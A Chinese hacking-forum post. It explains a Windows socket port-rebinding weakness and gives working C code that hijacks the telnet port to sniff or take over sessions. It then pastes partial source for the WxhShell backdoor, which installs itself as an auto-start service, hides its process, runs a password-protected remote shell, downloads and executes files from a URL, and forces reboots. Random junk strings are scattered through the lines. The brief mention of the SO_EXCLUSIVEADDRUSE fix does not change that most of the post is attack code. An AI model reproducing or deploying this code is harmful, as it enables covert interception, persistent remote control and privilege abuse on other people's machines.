社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16468阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *5$&`&,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $3=:E36K  
,(G%e  
  saddr.sin_family = AF_INET; >95TvJ  
64Gi8|P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &Y@#g9G  
vjViX<#(V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z1 i &Ge  
:&'{mJW*{t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 47 u@4"M  
BX;5wKfA  
  这意味着什么?意味着可以进行如下的攻击: P 2n2 Qt2  
_8K%`6!"Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "C%!8`K{a*  
]0c Pml  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wCZO9sU:6=  
 *2u E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?SY<~i<K-  
Wf02$c0#K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )&W|QH=AI  
o}8{Bh^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {j(4m  
Ri:p8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2xmk,&s  
5!fSW2N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0yof u  
[ET6(_=b  
  #include ( (3t:  
  #include ` DCU>bt&R  
  #include eVnbRT2y&  
  #include    EHf)^]Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G_oX5:J*  
  int main() }6~)bLzI}  
  { :3gFHBFDj  
  WORD wVersionRequested; VwC4QK,d;  
  DWORD ret; @|'Z@>!/pV  
  WSADATA wsaData; #8&#E?^d  
  BOOL val; XJ\_ V[WA  
  SOCKADDR_IN saddr; U 5clQiow  
  SOCKADDR_IN scaddr; q!@c_o  
  int err; D0KELA cY  
  SOCKET s; _]_LF[  
  SOCKET sc; G "c/a8  
  int caddsize; )Kr(Y.w  
  HANDLE mt; r.Lx%LZ\^  
  DWORD tid;   _&=9Ke  
  wVersionRequested = MAKEWORD( 2, 2 ); 0*{@E%9  
  err = WSAStartup( wVersionRequested, &wsaData ); JQr36U  
  if ( err != 0 ) { I'P.K| "R  
  printf("error!WSAStartup failed!\n"); ^[*AK_o_DQ  
  return -1; ]svw CPu C  
  } + f6}p  
  saddr.sin_family = AF_INET; !Am =v=>  
   eNivlJ,K|@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )biX8yq hR  
r@;$V_I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,qYf#fU#7  
  saddr.sin_port = htons(23); ?9CIWpGjU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @!Y.935/0  
  { i /C'0  
  printf("error!socket failed!\n"); % ghJ*iHR  
  return -1; [10$a(g\x  
  } x vHOY:  
  val = TRUE; qP@L(_=g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \?[O,A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -<_+-t  
  { 0VG^GKmx  
  printf("error!setsockopt failed!\n"); &C\=!r0j^  
  return -1; #dL5x{gV=  
  } ^9n}-Cqeq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |:{g?4Mi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tP -5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rUGZjLIGqz  
u87=q^$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _3*: y/M_  
  { Z+OAs0}mV  
  ret=GetLastError(); #vnefIcBf  
  printf("error!bind failed!\n"); /abmjV0  
  return -1; ~D$#>'C#  
  } ;B,nzx(L  
  listen(s,2); 6hR^qdHg  
  while(1) eUi> Mp  
  { `" i^'VL,  
  caddsize = sizeof(scaddr); J{a Q1)  
  //接受连接请求 A&x ab  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !k4 }v'=  
  if(sc!=INVALID_SOCKET) p`shY yE  
  { [P(rY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); * [iity  
  if(mt==NULL) 3U :YA&K(  
  { \HBVNBY  
  printf("Thread Creat Failed!\n"); N[- %0  
  break; =ip~J<sw&  
  } ;P 0,60  
  } ,<R>Hiwg/s  
  CloseHandle(mt); >eYU$/80  
  } 7-g]A2N  
  closesocket(s); F5 :2TEA  
  WSACleanup(); 9Ba%=  
  return 0; FY_avW  
  }   Vu_7uSp,)  
  DWORD WINAPI ClientThread(LPVOID lpParam) 44<9zHK  
  { 3:l:~Vn  
  SOCKET ss = (SOCKET)lpParam; cKvAR5|  
  SOCKET sc; SaX,^_GY  
  unsigned char buf[4096]; lq78gOg{  
  SOCKADDR_IN saddr; )&b}^1  
  long num; 2tg/S=t}  
  DWORD val; =%:n0S0C"  
  DWORD ret; Gd]5xl HRU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {ziYd;Ys1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Cy`<^_i  
  saddr.sin_family = AF_INET; =|j*VF2y"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '7RR2f>V  
  saddr.sin_port = htons(23); TsFV ;Sl3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E-BOIy,  
  { 8gu'dG=  
  printf("error!socket failed!\n"); XZUB*P}]D  
  return -1; y{&{=1#  
  } >S-N|uR6  
  val = 100; : pE-{3I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tW Cv]*  
  { X-*KQ+ ?  
  ret = GetLastError(); Kd AR)EU>  
  return -1; ArEH%e  
  } IxK 3,@d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |)|vG_  
  { $w";*">:0  
  ret = GetLastError(); }5fI*v  
  return -1; >h/)r6  
  } ~8Dd<4?F]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }R(0[0NQe-  
  { 3Aqe;Wf9%+  
  printf("error!socket connect failed!\n"); dZ;~b(CA  
  closesocket(sc); {=pP`HD0  
  closesocket(ss); 2S7H_qo$  
  return -1; !)51v {  
  } 7DHT)9lD/  
  while(1) c!(~BH3p  
  { JJbM)B@-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~3*ZG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xx9~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =w;xaxjL  
  num = recv(ss,buf,4096,0); T^=Ee?e  
  if(num>0) -V<=`e  
  send(sc,buf,num,0); NZw[.s>n  
  else if(num==0) ?G%, k LJJ  
  break; Jb)eC?6O  
  num = recv(sc,buf,4096,0); zvQ^f@lq2  
  if(num>0) !!D:V`F/d  
  send(ss,buf,num,0); 5>z:[OdY*  
  else if(num==0) 3Oig/KZ  
  break; d= T9mj.@  
  } @gl%A&a  
  closesocket(ss); gp|7{}Q{  
  closesocket(sc); E6wST@ r  
  return 0 ; Q,M/R6i-  
  } (1r>50Ge  
Spr:K,  
:xUl+(+  
========================================================== #*;fQ&p  
hz~CW-47  
下边附上一个代码,,WXhSHELL ,*}g r  
1o"oa<*_  
========================================================== /xm} ?t0U  
Iy1X nS*  
#include "stdafx.h" J/P@m_Yx  
z&HN>7  
#include <stdio.h> ^$s~qQQ}B  
#include <string.h> 'y@ 2,9v  
#include <windows.h> ^>R|R1&  
#include <winsock2.h> |EEz>ci  
#include <winsvc.h> H|Fqc=qp  
#include <urlmon.h> 0 f#a_  
.Mft+,"  
#pragma comment (lib, "Ws2_32.lib") 0|+hm^'_  
#pragma comment (lib, "urlmon.lib") z1KC$~{O  
H/la'f#o%  
#define MAX_USER   100 // 最大客户端连接数 fM[fS?W  
#define BUF_SOCK   200 // sock buffer Qc =lf$  
#define KEY_BUFF   255 // 输入 buffer ^9V8M9  
@.]K6qC  
#define REBOOT     0   // 重启 GHsdLe=t0#  
#define SHUTDOWN   1   // 关机 u.K'"-xt4K  
G`JwAy r'  
#define DEF_PORT   5000 // 监听端口 2D_Vo ])l/  
rxK[CDM,  
#define REG_LEN     16   // 注册表键长度 BHBT=,sI  
#define SVC_LEN     80   // NT服务名长度 D30Z9_^%:  
MVU'GHv  
// 从dll定义API -N!soJ<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mt6uW+t/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n7!Lwq2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w0%ex#lkm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (a4y1k t-  
\]:NOmI^'  
// wxhshell配置信息 g:6}zHK  
struct WSCFG { FZ.Yn   
  int ws_port;         // 监听端口 Q_h+r! b  
  char ws_passstr[REG_LEN]; // 口令 %B un@  
  int ws_autoins;       // 安装标记, 1=yes 0=no `0vy+T5  
  char ws_regname[REG_LEN]; // 注册表键名 73Zs/  
  char ws_svcname[REG_LEN]; // 服务名 X!HSS/'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w I 7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BCDf9]X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0+`*8G)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l8Iy 03H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r\- k/0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <T~fh>a  
ZaV66Y>  
}; X1QZEl  
$<DA[ %pv  
// default Wxhshell configuration QL!+.y%  
struct WSCFG wscfg={DEF_PORT, ED_5V@  
    "xuhuanlingzhe", >N"PLSY1  
    1, &zDFf9w2{  
    "Wxhshell", ba:^zO^  
    "Wxhshell", &y wY?ox  
            "WxhShell Service", exU=!3Ji  
    "Wrsky Windows CmdShell Service", Q"_T040B  
    "Please Input Your Password: ", KvOI)"0(  
  1, 0s[3:bZ\Ia  
  "http://www.wrsky.com/wxhshell.exe", W 9MZ  
  "Wxhshell.exe" "r3s'\  
    }; +W[#;)ea(  
,+evP=(cX  
// 消息定义模块 ~TIZumGB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `r$WInsDu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #u(,#(P'#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >x0lSL0y  
char *msg_ws_ext="\n\rExit."; ExU|EN-  
char *msg_ws_end="\n\rQuit."; RxG./GY  
char *msg_ws_boot="\n\rReboot..."; L 'Rapu  
char *msg_ws_poff="\n\rShutdown..."; Y\S^DJy  
char *msg_ws_down="\n\rSave to "; Upen/1bA  
r}Av"  
char *msg_ws_err="\n\rErr!"; OEi9 )I  
char *msg_ws_ok="\n\rOK!"; @y&,e,3!  
6;V 1PK>9  
char ExeFile[MAX_PATH]; rmJ847%y`  
int nUser = 0; {-qTU6  
HANDLE handles[MAX_USER]; k;X1x65uP  
int OsIsNt; Lxrn#Z eM  
Xh!Pg)|E  
SERVICE_STATUS       serviceStatus; h%e!f#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @b({QM|  
S*:w\nXP~  
// 函数声明 POs~xaZ`H  
int Install(void); :N:8O^D^<  
int Uninstall(void); 8iA(:Tb  
int DownloadFile(char *sURL, SOCKET wsh); *&MkkI#  
int Boot(int flag); IQv>{h}  
void HideProc(void); Wb xksh:)Q  
int GetOsVer(void); VHNiTp  
int Wxhshell(SOCKET wsl); 4+bsG6i  
void TalkWithClient(void *cs); @U5>w\  
int CmdShell(SOCKET sock); )5x?Qn(B  
int StartFromService(void); 3Re\ T  
int StartWxhshell(LPSTR lpCmdLine); Xpwom'  
7^5BnF@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [hbIv   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r U5'hK  
KR0 x[#.*  
// 数据结构和表定义 w7u >|x!  
SERVICE_TABLE_ENTRY DispatchTable[] = (0f^Hh wF  
{ _r'M^=yx[  
{wscfg.ws_svcname, NTServiceMain}, 4y.[tk5  
{NULL, NULL} rg.if"o  
}; IrC=9%pd$R  
n Lb 9$&  
// 自我安装 "-%H</  
int Install(void) 9f`Pi:*+/  
{ w.H+$=aK  
  char svExeFile[MAX_PATH]; :DJ@HY  
  HKEY key; *6tN o-)^  
  strcpy(svExeFile,ExeFile); 2oLa`33c1  
UtN>6$u  
// 如果是win9x系统,修改注册表设为自启动 R3A^VE;qP  
if(!OsIsNt) { 7/L7L5h<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UepBXt3)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G]CY3xw98  
  RegCloseKey(key); qZe"'"3M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vKf=t&gqr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d9"4m>ymS  
  RegCloseKey(key); 6Y^o8R  
  return 0; wn&2-m*a  
    } U,BB C  
  } 9K!='u`  
} T^_9R;  
else { tw66XxE  
c^y 1s*  
// 如果是NT以上系统,安装为系统服务 Z]<_a)>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >Fz$DKr[  
if (schSCManager!=0) Rd)QVEk>SD  
{ ^>fs  
  SC_HANDLE schService = CreateService O;2 u1p'iP  
  ( j$6}r  
  schSCManager, 1oPT8)[U  
  wscfg.ws_svcname, nP^$p C  
  wscfg.ws_svcdisp, eAMT72_  
  SERVICE_ALL_ACCESS, D 3PF(Wx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pC6_ jIZ  
  SERVICE_AUTO_START, DZue.or  
  SERVICE_ERROR_NORMAL, OjZ@_V:  
  svExeFile, g5)VV"  
  NULL, 8{C3ijR  
  NULL, &,zeBFmc  
  NULL, :9}*p@  
  NULL, n[@Ur2&)  
  NULL :&m(WZ \  
  ); lK-I[i!  
  if (schService!=0) cu-WY8n  
  { 4tI~d8?pk+  
  CloseServiceHandle(schService); VZ8L9h<{"  
  CloseServiceHandle(schSCManager);  <CFu r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qb Q> z+c  
  strcat(svExeFile,wscfg.ws_svcname); F r~xN!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G;e}z&6<k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gkl#s7'  
  RegCloseKey(key); !ZRV\31%  
  return 0; B !XT:.+  
    } t.cplJF&Ue  
  } rhrlEf@  
  CloseServiceHandle(schSCManager); <$ 5\^y,V  
} tVOx  
} J ?&9ofj&  
[Mi~4b  
return 1; L|<Mtw  
} @9-qqU@  
|s:!LU&OL\  
// 自我卸载 4Xz|HU?  
int Uninstall(void) jAu/] HZx  
{ g0l- n  
  HKEY key; r* U6govky  
2h=RNU|  
if(!OsIsNt) { .MKxHM7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yxH[uJpb  
  RegDeleteValue(key,wscfg.ws_regname); :z[SI{Y  
  RegCloseKey(key); 9:1ZL_yf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *d=pK*g  
  RegDeleteValue(key,wscfg.ws_regname); v[m>;Ubg&  
  RegCloseKey(key); zIu1oF4[  
  return 0; % :NI@59  
  }  #u~8Txt  
} )lZb=t  
} U-@\V1;C  
else { ~%]+5^Ka]  
=_5-z|<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n'SnqJ&}  
if (schSCManager!=0) j9%=^ZoQj  
{ ;yr 'K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qg_=5s  
  if (schService!=0) m 9r X  
  { CGQ`i  
  if(DeleteService(schService)!=0) { Lr`yl$6  
  CloseServiceHandle(schService); C[75 !F   
  CloseServiceHandle(schSCManager); |g~.]2az  
  return 0; &W1cc#(  
  } !^y'G0  
  CloseServiceHandle(schService); *cf#:5Nl  
  } =cxjb,r  
  CloseServiceHandle(schSCManager); u BvN*LQ  
} I'JFt>]  
} FbF P  
*t63c.S  
return 1; e7-U0rrE  
} A," u~6Bn  
2QdqVwm  
// 从指定url下载文件 GujmBb  
int DownloadFile(char *sURL, SOCKET wsh) bO9X;} \6  
{ 4h-tR  
  HRESULT hr; k/>k&^?  
char seps[]= "/"; HUZI7rC[=)  
char *token; p~qdkA<  
char *file; Mp}U>+8  
char myURL[MAX_PATH]; }5EvBEv-)  
char myFILE[MAX_PATH]; 1jDN=hIl  
q>t#5Z81  
strcpy(myURL,sURL); MGK%F#PM  
  token=strtok(myURL,seps); arm26YA-,  
  while(token!=NULL) r3'0{Nn+  
  { nwf(`=TC  
    file=token; b:2# 3;)  
  token=strtok(NULL,seps); `KB;3L  
  } U<K)'l6#2n  
fC&hi6  
GetCurrentDirectory(MAX_PATH,myFILE); W|4:3 c4  
strcat(myFILE, "\\"); Dc2H<=];  
strcat(myFILE, file); Ko: <@h  
  send(wsh,myFILE,strlen(myFILE),0); <m'W{n%Pp  
send(wsh,"...",3,0); :>f}rq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XkDIP4v%  
  if(hr==S_OK) >4 VN1 ^  
return 0; 6o6I]QL  
else 3s;^p,9 Y  
return 1; Qhy!:\&1  
"Doz~R\\  
} 6/6M.p  
{OIB/  
// 系统电源模块 id+ ~ V  
int Boot(int flag) 9eBD)tnw  
{ t^ Ge "  
  HANDLE hToken; #x*\dL  
  TOKEN_PRIVILEGES tkp; a`I \19p]  
iSbPOC7  
  if(OsIsNt) { AT%6K.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {>g{+Eq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y \Gx|  
    tkp.PrivilegeCount = 1; MroN=%|t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; > 9.%hSy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %:t! u&:q  
if(flag==REBOOT) { ZmI0|r}QbY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G>=Fdt7Oc  
  return 0; L+N\B@ 0-  
} uP G\1  
else { DG?g~{Y~b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \#4mPk_"  
  return 0; 'Fy"|M;2  
} ncqAof(/  
  } [;H-HpBaa  
  else { G9|2 KUG  
if(flag==REBOOT) { X$e*s\4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LTxP@pr  
  return 0; %_."JT$v{  
} wx^Det  
else {  & .0A%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?Z2`8]-E  
  return 0; ,Qx]_gZ`  
} )r^vrCNy>  
} ? X6M8`  
w? >f:2(=[  
return 1; l`.z^+!8@  
} ^s6}[LDW>@  
Fei5'  
// win9x进程隐藏模块 Q 9fK)j1$  
void HideProc(void) 9}%$j  
{ 58XZ]Mc0  
&Ts!#OcB,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3_<l`6^Ns/  
  if ( hKernel != NULL ) r1}^\C  
  { n&Ckfo_D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2TU V9Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <3!Al,!ej@  
    FreeLibrary(hKernel); ]XU4nNi  
  } {.542}A  
UAPd["`)y  
return;  4d\^  
}  V1B!5N<  
vo f8bQ{&  
// 获取操作系统版本 {;DAKWm@T  
int GetOsVer(void) u"q5 6}Q?]  
{ ||JUP}eP  
  OSVERSIONINFO winfo; L/ Q[N^ (^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E{EO9EI  
  GetVersionEx(&winfo); X8VBs#tLE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jB(+9?;1${  
  return 1; kL%ot<rt)w  
  else Rjq Xz6  
  return 0; xRe`Duy:  
} W?5')  
n9xP8<w8  
// 客户端句柄模块 =nHKTB>  
int Wxhshell(SOCKET wsl) h <e  
{ Hl`OT5 pNf  
  SOCKET wsh; HD^#"  
  struct sockaddr_in client; 7Y9#y{v1  
  DWORD myID; qS#G7~ur>y  
,U3  
  while(nUser<MAX_USER) -T,?'J0 2  
{ W}f)VC;D  
  int nSize=sizeof(client); x=t(#R m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^K;k4oK  
  if(wsh==INVALID_SOCKET) return 1; ^FKiVKI:  
H:@hCO[a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A#. %7S  
if(handles[nUser]==0) +P^ ;7"H  
  closesocket(wsh); wAKHD*M)  
else moM? aYm  
  nUser++; !&{rnK  
  } %rylmioW>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QselW]  
B n7uKa{P  
  return 0; 1uAjy(y  
} } :0_%=)N<  
@|\9<S  
// 关闭 socket n9'3~qVZ  
void CloseIt(SOCKET wsh) /K#k_k  
{ WO_Uc_R  
closesocket(wsh); JM3[ yNSN@  
nUser--; VBX)xQazU  
ExitThread(0); (9Zvr4.f7  
} J!2Z9<q5  
w"v!+~/9  
// 客户端请求句柄 (QDKw}O2b  
void TalkWithClient(void *cs) AJ\&>6GZ(b  
{ ib=)N)l  
J8 qFdNK  
  SOCKET wsh=(SOCKET)cs; 4j={ 9e<  
  char pwd[SVC_LEN]; hzo> :U  
  char cmd[KEY_BUFF]; wXIRn?z  
char chr[1]; geme_  
int i,j; Vu3DP+u|i  
$aV62uNf  
  while (nUser < MAX_USER) { P8eCaZg?(3  
O] @E8<?^  
if(wscfg.ws_passstr) { #L*\^ c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Gsh%0r3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8A#,*@V[  
  //ZeroMemory(pwd,KEY_BUFF); #AJW-+1g.=  
      i=0; /j~~S'sw  
  while(i<SVC_LEN) { Tqt-zX|>  
6 9>@0P  
  // 设置超时 39v Bsc  
  fd_set FdRead; 2lTt  
  struct timeval TimeOut; |'h (S|  
  FD_ZERO(&FdRead); EtcT:k?y  
  FD_SET(wsh,&FdRead); $94lF~  
  TimeOut.tv_sec=8; b j&!$')  
  TimeOut.tv_usec=0; v \:AOY'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vNSUrf,r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `NIb? /!f  
JP>EW&M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mkSu $c  
  pwd=chr[0]; L^JU{\C  
  if(chr[0]==0xd || chr[0]==0xa) { Jh-yIk  
  pwd=0; L1SX2F8  
  break; %p 6Ms  
  } [U&k"s?  
  i++; pr<u 5  
    } B ~v6_x  
:Qa*-)rs  
  // 如果是非法用户,关闭 socket Cff6EE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x{pj`'J)  
} &{Z+p(3Gj  
zqA>eDx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n*\o. :f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wq?"NQ?O<  
Vh0cac|X  
while(1) { y3efie {J  
lf=G  
  ZeroMemory(cmd,KEY_BUFF); :W)lt28_  
!KI^Z1dP(  
      // 自动支持客户端 telnet标准   |>ztx}\  
  j=0; ja9u?UbW  
  while(j<KEY_BUFF) { cxR.:LD}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fM.#FT??  
  cmd[j]=chr[0]; ;-3&yQ7N)  
  if(chr[0]==0xa || chr[0]==0xd) { o(tJc}Mh+(  
  cmd[j]=0; LH54J;7 Y  
  break; N^QxqQ~  
  } 6.]~7n  
  j++; .s\lfBo9  
    } X@kgc&`0  
Ry +?#P+  
  // 下载文件 {J"]tx9 ]  
  if(strstr(cmd,"http://")) { Z(q]rX5"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |M?s[}ll  
  if(DownloadFile(cmd,wsh)) MsIR~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |OLXb+ 7X  
  else GJdL1ptc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S:{xx`6K  
  } 1L`V{\_0s  
  else { ?n# $y@U  
*-ys}sX  
    switch(cmd[0]) { @KM?agtlbl  
  X0L \Ewm  
  // 帮助 2.</n}g  
  case '?': { CB-;Jqb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P<Z` 8a[  
    break; [;aM8N  
  } /2d>nj  
  // 安装 1P"{TMd?  
  case 'i': { (e5Z^9X  
    if(Install()) ^w%%$9=:r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b3_P??yp  
    else 3n)Kzexh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8mmnnf{P  
    break; Z" H;t\P  
    } *tT}N@<%  
  // 卸载 PA803R74  
  case 'r': { .7 )oWd!  
    if(Uninstall()) >Vx_Xv`Jwb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Iflf]l  
    else "oiN8#Hf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?fP3R':s  
    break; [?:MIl#!  
    } m;4ti9  
  // 显示 wxhshell 所在路径 8EkzSe  
  case 'p': { ^HR8.9^[1u  
    char svExeFile[MAX_PATH]; W tw,YFT  
    strcpy(svExeFile,"\n\r"); {hOS0).(w7  
      strcat(svExeFile,ExeFile); :zo5`[P  
        send(wsh,svExeFile,strlen(svExeFile),0); \z2y?"\?  
    break; 55ec23m  
    } k7@QFw4 j  
  // 重启 |xZu?)M4  
  case 'b': { tA4Ra,-c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G"m0[|XH  
    if(Boot(REBOOT)) ]!!?gnPd5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &qPezyt  
